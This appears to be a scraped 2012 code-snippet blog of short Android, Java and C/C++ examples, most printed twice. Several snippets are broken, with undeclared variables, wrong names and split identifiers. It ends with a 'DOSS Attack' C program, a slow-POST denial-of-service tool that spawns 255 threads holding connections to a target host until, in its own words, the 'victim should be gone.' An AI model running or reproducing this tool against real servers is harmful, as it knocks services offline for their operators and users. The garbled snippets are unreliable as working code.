if (shouldPersist()) {
persistInt(mCurrentValue);
}
notifyChanged();
}
@Override
public CharSequence getSummary() {
String summary = super.getSummary().toString();
int value = getPersistedInt(DefaultValue);
return String.format(summary, value);
}
public void onProgressChanged(SeekBar seek, int value, boolean fromTouch) {
mCurrentValue = value + MinValue;
ValueText.setText(Integer.toString(mCurrentValue));
}
public void onStartTrackingTouch(SeekBar seek) {
//ValueText.setText(getString(R.string.seekbar_on));
}
public void onStopTrackingTouch(SeekBar seek) {
// ValueText.setText(getString(R.string.seekbar_off));
}
import com.test.seekbar.R;
import android.content.Context;
import android.util.AttributeSet;
import android.view.LayoutInflater;
import android.view.View;
import android.preference.DialogPreference;
import android.widget.SeekBar;
import android.widget.TextView;
import android.widget.SeekBar.OnSeekBarChangeListener;
public final class SeekBarPreference extends DialogPreference implements OnSeekBarChangeListener {
// Default values
private static final int DEFAULT_CURRENT_VALUE = 50;
private static final int DEFAULT_MIN_VALUE = 0;
private static final int DEFAULT_MAX_VALUE = 100;
private final int DefaultValue;
private final int MaxValue;
private final int MinValue;
private int mCurrentValue;
private SeekBar SeekBar;
private TextView ValueText;
public SeekBarPreference(Context context, AttributeSet attrs) {
super(context, attrs);
MinValue = attrs.getAttributeIntValue("http://schemas.android.com/apk/res/com.mnm.seekbarpreference", "minValue", DEFAULT_MIN_VALUE);
MaxValue = attrs.getAttributeIntValue("http://schemas.android.com/apk/res/com.mnm.seekbarpreference", "maxValue", DEFAULT_MAX_VALUE);
DefaultValue = attrs.getAttributeIntValue("http://schemas.android.com/apk/res/android", "defaultValue", DEFAULT_CURRENT_VALUE);
}
@Override
protected View onCreateDialogView() {
mCurrentValue = getPersistedInt(DefaultValue);
LayoutInflater inflater = (LayoutInflater) getContext().getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View view = inflater.inflate(R.layout.dialog_slider, null);
((TextView) view.findViewById(R.id.min)).setText(Integer.toString(MinValue));
((TextView) view.findViewById(R.id.max)).setText(Integer.toString(MaxValue));
SeekBar = (SeekBar) view.findViewById(R.id.seek_bar);
SeekBar.setMax(MaxValue - MinValue);
SeekBar.setProgress(mCurrentValue - MinValue);
SeekBar.setOnSeekBarChangeListener(this);
ValueText = (TextView) view.findViewById(R.id.current_value);
ValueText.setText(Integer.toString(mCurrentValue));
return view;
}
@Override
protected void onDialogClosed(boolean positiveResult) {
super.onDialogClosed(positiveResult);
if (!positiveResult) {
return;
}
if (shouldPersist()) {
persistInt(mCurrentValue);
}
notifyChanged();
}
@Override
public CharSequence getSummary() {
String summary = super.getSummary().toString();
int value = getPersistedInt(DefaultValue);
return String.format(summary, value);
}
public void onProgressChanged(SeekBar seek, int value, boolean fromTouch) {
mCurrentValue = value + MinValue;
ValueText.setText(Integer.toString(mCurrentValue));
}
public void onStartTrackingTouch(SeekBar seek) {
//ValueText.setText(getString(R.string.seekbar_on));
}
public void onStopTrackingTouch(SeekBar seek) {
// ValueText.setText(getString(R.string.seekbar_off));
}
class GPS (Android)
package test.gps;
import android.app.Activity;
import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.os.Bundle;
class GpsMethods {
private static LocationManager locManager;
static Location loc;
void getLocation(Activity activity) {
locManager = (LocationManager) activity.getSystemService(Context.LOCATION_SERVICE);
locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, new LocationUpdateHandler());
}
static Location getLastKnownLocation() {
String locationProvider = LocationManager.GPS_PROVIDER;
Location lastLocation = locationManager.getLastKnownLocation(locationProvider);
return lastLocation;
}
public class LocationUpdateHandler implements LocationListener {
public void onLocationChanged(Location loc) {
makeUseOfNewLocation(loc);
}
private void makeUseOfNewLocation(Location loc) {
location = loc;
locationManager.removeUpdates(this);
}
public void onStatusChanged(String provider, int status, Bundle extras){
// code
}
public void onProviderEnabled(String provider) {
// code
}
public void onProviderDisabled(String provider) {
// code
}
}
}
import android.app.Activity;
import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.os.Bundle;
class GpsMethods {
private static LocationManager locManager;
static Location loc;
void getLocation(Activity activity) {
locManager = (LocationManager) activity.getSystemService(Context.LOCATION_SERVICE);
locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, new LocationUpdateHandler());
}
static Location getLastKnownLocation() {
String locationProvider = LocationManager.GPS_PROVIDER;
Location lastLocation = locationManager.getLastKnownLocation(locationProvider);
return lastLocation;
}
public class LocationUpdateHandler implements LocationListener {
public void onLocationChanged(Location loc) {
makeUseOfNewLocation(loc);
}
private void makeUseOfNewLocation(Location loc) {
location = loc;
locationManager.removeUpdates(this);
}
public void onStatusChanged(String provider, int status, Bundle extras){
// code
}
public void onProviderEnabled(String provider) {
// code
}
public void onProviderDisabled(String provider) {
// code
}
}
}
Sunday, 12 August 2012
ScrollView .xml (Android)
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="wrap_content">
<TableLayout
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:stretchColumns="0">
<TableRow>
<View
android:layout_height="80px"
android:background="#000000"/>
<TextView android:text="#000000"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#440000" />
<TextView android:text="#440000"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#884400" />
<TextView android:text="#884400"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#aa8844" />
<TextView android:text="#aa8844"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#ffaa88" />
<TextView android:text="#ffaa88"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#ffffaa" />
<TextView android:text="#ffffaa"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#ffffff" />
<TextView android:text="#ffffff"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
</TableLayout>
</ScrollView>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="wrap_content">
<TableLayout
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:stretchColumns="0">
<TableRow>
<View
android:layout_height="80px"
android:background="#000000"/>
<TextView android:text="#000000"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#440000" />
<TextView android:text="#440000"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#884400" />
<TextView android:text="#884400"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#aa8844" />
<TextView android:text="#aa8844"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#ffaa88" />
<TextView android:text="#ffaa88"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#ffffaa" />
<TextView android:text="#ffffaa"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
<TableRow>
<View
android:layout_height="80px"
android:background="#ffffff" />
<TextView android:text="#ffffff"
android:paddingLeft="4px"
android:layout_gravity="center_vertical" />
</TableRow>
</TableLayout>
</ScrollView>
Friday, 10 August 2012
Close android app and launch safety (Android)
The entire lifetime of an activity happens between the first call to onCreate(Bundle)
through to a single final call to onDestroy().
To save exit from the application we need to implement method OnDestroy();
/*****************************************/
protected void onDestroy(){
// call constructor
super.onDestroy();
//If this is set to true then the process
//will not be killed until all of its threads have closed.
System.runFinalizersOnExit(true);
//Force system to close the application
System.exit(0);
}
/*****************************************/
through to a single final call to onDestroy().
To save exit from the application we need to implement method OnDestroy();
/*****************************************/
protected void onDestroy(){
// call constructor
super.onDestroy();
//If this is set to true then the process
//will not be killed until all of its threads have closed.
System.runFinalizersOnExit(true);
//Force system to close the application
System.exit(0);
}
/*****************************************/
SHA1 (Java)
public class Sha1{ public Sha1Coding(){ MessageDigest md = MessageDigest.getInstance("SHA1"); md.reset(); byte[] buffer = input.getBytes(); md.update(buffer); byte[] digest = md.digest(); String str = ""; for (int i = 0; i < digest.length; i++) {
str += Integer.toString( ( digest[i] & 0xff ) + 0x100, 16).substring( 1 ); } return str; }
}
Next Random number (Java code)
import java.util.Random;
class Random{
private static final Random RAND = new Random();
public static int nextRandomInt(int max) {
int n = RAND.nextInt();
return (n < 0 ? -n : n) % max;
}
public static int nextRandomInt() {
int n = RAND.nextInt();
return n < 0 ? -n : n;
}
}
class Random{
private static final Random RAND = new Random();
public static int nextRandomInt(int max) {
int n = RAND.nextInt();
return (n < 0 ? -n : n) % max;
}
public static int nextRandomInt() {
int n = RAND.nextInt();
return n < 0 ? -n : n;
}
}
Function String to Unsigned long long int (C/C++ code))
typedef unsigned long long u64;
typedef unsigned char u8;
bool String_to_Long_Int (u8 *str, int len, u64 *pNumber)
{
u64 number = 0;
if(len <= 0)
return FALSE;
while(len--)
{
u8 ch = *str++;
if( (ch < '0') || (ch > '9') )
return false;
number = (number*10+(ch-'0'));
}
*pNumber= number;
return true;
}
typedef unsigned char u8;
bool String_to_Long_Int (u8 *str, int len, u64 *pNumber)
{
u64 number = 0;
if(len <= 0)
return FALSE;
while(len--)
{
u8 ch = *str++;
if( (ch < '0') || (ch > '9') )
return false;
number = (number*10+(ch-'0'));
}
*pNumber= number;
return true;
}
Sort vector usinf make_heap and sort_heap (C++ code))
#include <iostream>
#include <cassert>
#include <algorithm>
#include <vector>
using namespace std;
int main()
{
vector<int> vector1(5);
for (int i = 0; i < 5; ++i)
vector1[i] = i;
random_shuffle(vector1.begin(), vector1.end());
make_heap(vector1.begin(), vector1.end());
sort_heap(vector1.begin(), vector1.end());
for (int i = 0; i < 5; ++i)
cout << vector1[i];
return 0;
}
Draw Rectangle (Android)
package app.test;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Bundle;
import android.widget.ImageView;
public class Test extends Activity {
ImageView DrawingImage;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
DrawingImage = (ImageView) this.findViewById(R.id.DrawingImageView1);
Bitmap bitmap = Bitmap.createBitmap((int) getWindowManager()
.getDefaultDisplay().getWidth(), (int) getWindowManager()
.getDefaultDisplay().getHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
DrawingImage.setImageBitmap(bitmap);
// Draw Rectangle
Paint paint = new Paint();
paint.setColor(Color.BLACK);
paint.setStyle(Paint.Style.FILL_AND_STROKE);
paint.setStrokeWidth(10);
float left = 20;
float top = 20;
float right = 50;
float bottom = 100;
canvas.drawRect(left, top, right, bottom, paint);
}
}
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Bundle;
import android.widget.ImageView;
public class Test extends Activity {
ImageView DrawingImage;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
DrawingImage = (ImageView) this.findViewById(R.id.DrawingImageView1);
Bitmap bitmap = Bitmap.createBitmap((int) getWindowManager()
.getDefaultDisplay().getWidth(), (int) getWindowManager()
.getDefaultDisplay().getHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
DrawingImage.setImageBitmap(bitmap);
// Draw Rectangle
Paint paint = new Paint();
paint.setColor(Color.BLACK);
paint.setStyle(Paint.Style.FILL_AND_STROKE);
paint.setStrokeWidth(10);
float left = 20;
float top = 20;
float right = 50;
float bottom = 100;
canvas.drawRect(left, top, right, bottom, paint);
}
}
Capture and save Bitmap (Android)
package app.test;
import java.io.File;
import android.app.Activity;
import android.content.ContentValues;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import android.provider.MediaStore.Images.Media;
import android.util.Log;
import android.view.View;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
}
public void captureImage(View view)
{
Intent i = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
startActivityForResult(i, 0);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if(requestCode==0 && resultCode==Activity.RESULT_OK)
{
Bitmap myBitmap = (Bitmap) data.getExtras().get("data");
}
}
}
import java.io.File;
import android.app.Activity;
import android.content.ContentValues;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import android.provider.MediaStore.Images.Media;
import android.util.Log;
import android.view.View;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
}
public void captureImage(View view)
{
Intent i = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
startActivityForResult(i, 0);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if(requestCode==0 && resultCode==Activity.RESULT_OK)
{
Bitmap myBitmap = (Bitmap) data.getExtras().get("data");
}
}
}
Load png icon in android app with XML
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<SlidingDrawer
android:id="@+id/drawer"
android:layout_width="320dip"
android:layout_height="440dip"
android:orientation="vertical"
android:handle="@+id/handle"
android:content="@+id/content">
<ImageView
android:id="@+id/image1"
android:layout_width="48dip"
android:layout_height="48dip"
android:src="@drawable/icon" />
<AnalogClock android:id="@+id/clock1"
android:background="#D0A0A0"
android:layout_width="fill_parent"
android:layout_height="fill_parent" />
</SlidingDrawer>
</RelativeLayout>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<SlidingDrawer
android:id="@+id/drawer"
android:layout_width="320dip"
android:layout_height="440dip"
android:orientation="vertical"
android:handle="@+id/handle"
android:content="@+id/content">
<ImageView
android:id="@+id/image1"
android:layout_width="48dip"
android:layout_height="48dip"
android:src="@drawable/icon" />
<AnalogClock android:id="@+id/clock1"
android:background="#D0A0A0"
android:layout_width="fill_parent"
android:layout_height="fill_parent" />
</SlidingDrawer>
</RelativeLayout>
Video View in android app
package app.test;
import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.widget.MediaController;
import android.widget.VideoView;
public class MainActivity extends Activity {
/** Called when the activity is first created. */
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(R.layout.main);
VideoView videoView = (VideoView)this.findViewById(R.id.videoView);
MediaController mc = new MediaController(this);
videoView.setMediaController(mc);
videoView.setVideoURI(Uri.parse("http://yourhost.com/movie.mp4"));
videoView.requestFocus();
videoView.start();
}
}
import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.widget.MediaController;
import android.widget.VideoView;
public class MainActivity extends Activity {
/** Called when the activity is first created. */
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(R.layout.main);
VideoView videoView = (VideoView)this.findViewById(R.id.videoView);
MediaController mc = new MediaController(this);
videoView.setMediaController(mc);
videoView.setVideoURI(Uri.parse("http://yourhost.com/movie.mp4"));
videoView.requestFocus();
videoView.start();
}
}
Thursday, 9 August 2012
Bluetooth (Android)
import android.bluetooth.BluetoothAdapter;
import android.util.Log;
public class BluetoothAdapterUtil {
// logger entry
private final static String LOG_TAG = BluetoothAdapterUtil.class.getSimpleName();
private static final int LOOP_WAIT_TIME = 500;
private static final int MAX_REPETITIONS_COUNT = 30;
public static void startBluetoothAdapter() {
try {
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_ON, MAX_REPETITIONS_COUNT);
} catch (Exception e) {
Log.d(LOG_TAG, e.getMessage());
}
}
public static void stopBluetoothAdapter() {
try {
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_OFF, MAX_REPETITIONS_COUNT);
} catch (Exception e) {
Log.d(LOG_TAG, e.getMessage());
}
}
private static void waitUntilBluetoothAdapterIsInState(int state, int remainingLoops) throws Exception {
BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if(remainingLoops > 0) {
switch (state) {
case BluetoothAdapter.STATE_OFF:
if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_TURNING_OFF) {
waitNMillis(LOOP_WAIT_TIME);
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_OFF, remainingLoops - 1);
} else if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
Log.d(LOG_TAG, "BluetoothAdapter is in state OFF");
return;
} else {
// ensure we're not waiting for Godot ;)
bluetoothAdapter.disable();
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_OFF, remainingLoops - 1);
}
break;
case BluetoothAdapter.STATE_ON:
if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_TURNING_ON) {
waitNMillis(LOOP_WAIT_TIME);
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_ON, remainingLoops - 1);
} else if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
Log.d(LOG_TAG, "BluetoothAdapter is in state ON");
return;
} else {
// ensure we're not waiting for Godot ;)
bluetoothAdapter.enable();
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_ON, remainingLoops - 1);
}
break;
default:
throw new Exception(
"You can check only final states of BluetoothAdapter(STATE_ON|STATE_OFF).");
}
} else {
Log.e(LOG_TAG, "Error on waiting while BluetoothAdapter changes state to #" + state + ". ");
return;
}
}
private static void waitNMillis(long n) {
try {
Thread.sleep(n);
} catch (InterruptedException e) {
Log.e(LOG_TAG, "#waitNMillis() " + e.getMessage());
}
}
}
Using Google Map in android app (Android)
//AndroidManifest.xml
//Need to use internet and google map
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET"></uses-permission>
// Java class
package app.test;
import android.os.Bundle;
import com.google.android.maps.MapActivity;
import com.google.android.maps.MapController;
import com.google.android.maps.MapView;
public class MyActivity extends MapActivity {
MapView map;
MapController controller;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
map = (MapView)findViewById(R.id.map);
controller = map.getController();
LocationManager manager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
Location location = manager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
int lat, lng;
if(location != null) {
//Convert to microdegrees
lat = (int)(location.getLatitude() * 1000000);
lng = (int)(location.getLongitude() * 1000000);
} else {
//Default to Google HQ
lat = 37427222;
lng = -122099167;
}
GeoPoint mapCenter = new GeoPoint(lat,lng);
controller.setCenter(mapCenter);
controller.setZoom(15);
}
//Required abstract method, return false
@Override
protected boolean isRouteDisplayed() {
return false;
}
}
RadioGroup (Android)
package app.test;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.widget.RadioGroup;
public class Test extends Activity {
protected static final String TAG = "RadioGroup";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
RadioGroup radGrp = (RadioGroup) findViewById(R.id.main);
int RadioButtonId = radGrp.getCheckedRadioButtonId();
radGrp.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
public void onCheckedChanged(RadioGroup arg0, int id) {
switch (id) {
case -1:
Log.v(TAG, "Choices!!!");
break;
case R.id.Num1:
Log.v(TAG, " Number 1 ");
break;
case R.id.
Num2
:
Log.v(TAG, "
Number 2
");
break;
case R.id.
Num3
:
Log.v(TAG, "
Number 3
");
break;
default:
Log.v(TAG, "Problem?");
break;
}
}
});
}
}
/////////////////////////////////////////
//main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<RadioButton
android:id="@+id/anotherRadBtn"
android:text="Outside"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<RadioGroup android:id="@+id/radGrp"
android:layout_width="wrap_content"
android:layout_height="wrap_content">
<RadioButton
android:id="@+id/
Num1
"
android:text="Chicken"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<RadioButton
android:id="@+id/
Num2
"
android:text="Fish"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<RadioButton
android:id="@+id/
Num3
"
android:text="Steak"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<TextView
android:text="My Favorite"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</RadioGroup>
</LinearLayout>
Conver string to int (C++ code)
#include<cstring>
int pow(int n,int i){
int rez = 1;
while(i){
rez*=n;
i--;
}
return rez;
}
bool Check_char(const char *str){
if(str[0]=='-'){
for(int i=1;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
else {
for(int i=0;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
}
int Char_to_Int(char *str){
if(!Check_char(str)){
printf("Error !!!\nString is not only numbers.\n");
return -1;
}
int l,rez,j=1;
l=strlen(str)-1;
rez = str[l]-48;
for(int i=l-1;i>=(str[0]!='-'?0:1);i--){
rez+=(str[i]-48)*pow(10,j);
j++;
}
return str[0]!='-'?rez:-rez;
}
int pow(int n,int i){
int rez = 1;
while(i){
rez*=n;
i--;
}
return rez;
}
bool Check_char(const char *str){
if(str[0]=='-'){
for(int i=1;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
else {
for(int i=0;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
}
int Char_to_Int(char *str){
if(!Check_char(str)){
printf("Error !!!\nString is not only numbers.\n");
return -1;
}
int l,rez,j=1;
l=strlen(str)-1;
rez = str[l]-48;
for(int i=l-1;i>=(str[0]!='-'?0:1);i--){
rez+=(str[i]-48)*pow(10,j);
j++;
}
return str[0]!='-'?rez:-rez;
}
List (C++ code)
class Node{
public:
int data;
Node* next;
Node(){
next=NULL;
}
Node(Node *next,int data);
void set(int data);
void get();
};
class List{
public:
Node* start;
List();
List(int data);
void Add(int pos,int data);
void Add(int data);
int getSize();
int getPosForData(int pos, int data);
int getPos(int pos);
void removePos(int pos);
void remove(int data);
~List();
};
#include<iostream>
#include"List.h"
using namespace std;
Node :: Node(Node *next,int data){
this->next = next;
this->data = data;
}
void Node :: get(){
Node *tmp = this->next;
while (tmp != NULL){
cout<<this->data<<endl;
tmp = tmp->next;
}
}
void Node :: set(int data){
Node *tmp;
tmp = new Node;
tmp->data = data;
this->next=tmp;
}
List :: List(){
start = NULL;
}
List :: List(int data){
start = new Node (NULL,data);
}
List ::~List (){
while (start!=NULL){
Node *todel=start;
start = todel->next;
delete todel;
}
}
void List :: removePos(int pos){
Node **prev = &start;
for(int i=0;i<pos;i++){
prev = &(*prev)->next;
}
Node * todel = (**prev).next;
(*prev) = todel->next;
delete todel;
}
void List :: Add (int data){
Node ** prev = &start;
while ((*prev)->next != NULL){
prev = &(*prev)->next;
}
*prev = new Node (NULL,data);
}
void List :: Add(int data,int pos){
Node **prev = &start;
for(int i=0;i<pos;i++){
prev = &((*prev)->next);
}
*prev = new Node ((*prev)->next,data);
}
int List :: getSize (){
int rez = 0;
Node *next = start;
while(next!=NULL){
rez++;
next = next->next;
}
return rez;
}
int List :: getPosForData(int pos,int data){
int rez=-1;
Node *next = start;
while((next!=NULL)&&(next->data!=data)){
rez++;
next = next->next;
if(data == next->data){
return rez;
}
}
return -1;
}
int List :: getPos(int pos){
Node *rez = start;
for (int i=0;i<pos;i++){
rez = rez->next;
}
return rez->data;
}
void List ::remove(int data){
Node ** prev = &start;
while ((*prev)->next != NULL){
while((*prev)->data != data){
prev = &(*prev)->next;
if((*prev) == NULL) return;
}
Node * todel = (*prev)->next;
(*prev) = todel->next;
delete todel;
}
}
int mai (){
return 0;
}
Permutate
#include <stdio.h>
#define MAXN 100
const unsigned n = 4;
unsigned char used[MAXN];
unsigned mp[MAXN];
void print(void)
{ unsigned j;
for (j=0; j<n; j++) printf("%u ", mp[j]+1);
printf("\n");
}
void permute(unsigned i)
{ unsigned j;
if (i>=n) { print(); return; }
for (j=0; j<n; j++)
{ if (!used[j])
{ used[j]=1; mp[i]=j;
permute(i+1);
used[j]=0;
}
}
}
int main()
{ unsigned j;
for (j=0; j<n; j++)
used[j]=0;
permute(0);
return 0;
}
#define MAXN 100
const unsigned n = 4;
unsigned char used[MAXN];
unsigned mp[MAXN];
void print(void)
{ unsigned j;
for (j=0; j<n; j++) printf("%u ", mp[j]+1);
printf("\n");
}
void permute(unsigned i)
{ unsigned j;
if (i>=n) { print(); return; }
for (j=0; j<n; j++)
{ if (!used[j])
{ used[j]=1; mp[i]=j;
permute(i+1);
used[j]=0;
}
}
}
int main()
{ unsigned j;
for (j=0; j<n; j++)
used[j]=0;
permute(0);
return 0;
}
DOSS Attack (C++ code) Linux
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAXSIZE 5000
#define THREADS 255
char startbuf[MAXSIZE];
char hostname[MAXSIZE];
int port;
void dothread(void *arg)
{
int sd, count=0;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
int self;
char dot[1];
memcpy(&self, arg, sizeof(int));
if ((hp = gethostbyname(hostname)) == 0)
{
perror("gethostbyname");
exit(1);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(port);
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return;
}
if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1)
{
perror("connect");
return;
}
if (send(sd, startbuf, strlen(startbuf), 0) == -1)
{
perror("send");
return;
}
dot[0] = (unsigned char)(self&0xFF);
for (count=0;count<5000;count++)
{
/* just a weak PRNG..better use rand() instead */
dot[0] = (unsigned char)(dot[0]+count);
dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
send(sd, dot, 1, 0);
sleep(100);
}
close(sd);
}
void usage(void)
{
printf("Usage: ./evildos <host> <port> <POST_URI>\n");
printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
exit(1);
}
int main(int argc, char **argv)
{
pthread_t threads[THREADS];
int counter;
if (argc!=4) usage();
strcpy(hostname,argv[1]);
port = atoi(argv[2]);
sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
printf("Spawning threads\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_create(&threads[counter], NULL, dothread, &counter);
usleep(100000);
}
printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_join(&threads[counter]);
}
}
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAXSIZE 5000
#define THREADS 255
char startbuf[MAXSIZE];
char hostname[MAXSIZE];
int port;
void dothread(void *arg)
{
int sd, count=0;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
int self;
char dot[1];
memcpy(&self, arg, sizeof(int));
if ((hp = gethostbyname(hostname)) == 0)
{
perror("gethostbyname");
exit(1);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(port);
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return;
}
if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1)
{
perror("connect");
return;
}
if (send(sd, startbuf, strlen(startbuf), 0) == -1)
{
perror("send");
return;
}
dot[0] = (unsigned char)(self&0xFF);
for (count=0;count<5000;count++)
{
/* just a weak PRNG..better use rand() instead */
dot[0] = (unsigned char)(dot[0]+count);
dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
send(sd, dot, 1, 0);
sleep(100);
}
close(sd);
}
void usage(void)
{
printf("Usage: ./evildos <host> <port> <POST_URI>\n");
printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
exit(1);
}
int main(int argc, char **argv)
{
pthread_t threads[THREADS];
int counter;
if (argc!=4) usage();
strcpy(hostname,argv[1]);
port = atoi(argv[2]);
